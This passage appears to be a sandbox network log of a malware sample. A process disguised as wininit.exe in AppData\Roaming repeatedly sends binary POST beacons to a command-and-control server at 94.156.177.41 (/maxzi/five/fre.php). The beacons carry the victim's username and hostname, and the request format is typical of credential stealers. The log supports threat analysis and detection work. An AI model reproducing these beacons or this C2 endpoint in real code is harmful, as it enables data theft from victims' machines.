Nov 20, 2024 11:08:19.578393936 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:19 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49168	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:19.729424000 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:19.737168074 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:20.483329058 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:20 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49169	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:20.639606953 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:20.648932934 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:21.399564981 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49170	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:21.556432962 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:21.561434984 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:22.424345016 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:22 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49171	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:22.579590082 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:22.587776899 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:23.353054047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:23 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49172	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:23.780766964 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:23.789921999 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:24.467380047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:24 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49173	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:24.624708891 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:24.629606962 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:25.379029989 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49174	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:25.542303085 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:25.550254107 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:26.297723055 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:26 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49175	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:26.446536064 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:26.451548100 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:27.189125061 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49176	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:27.337290049 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:27.342170000 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:28.082808018 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49177	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:28.285974979 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:28.290956020 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:29.023233891 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49178	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:29.157368898 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:29.162280083 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:29.900144100 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:29 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49179	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:30.048729897 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:30.056655884 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:30.800529003 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49180	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:30.937805891 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:30.942888975 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:31.709690094 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:31 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49181	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:31.856868982 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:31.861943960 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:32.666455984 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49182	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:32.808886051 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:32.814811945 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:33.577142954 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49183	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:33.718036890 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:33.725738049 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:34.478512049 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:34 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49184	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:34.623150110 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:34.631910086 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:35.458312035 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:35 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49185	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:35.602694035 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:35.612588882 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:36.517483950 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:36 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49186	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:36.661369085 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:36.666299105 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:37.408440113 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49187	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:37.593621016 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:37.600393057 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:38.490098000 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49188	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:08:38.847771883 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:08:38.858062029 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:08:39.674951077 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:08:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49189	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
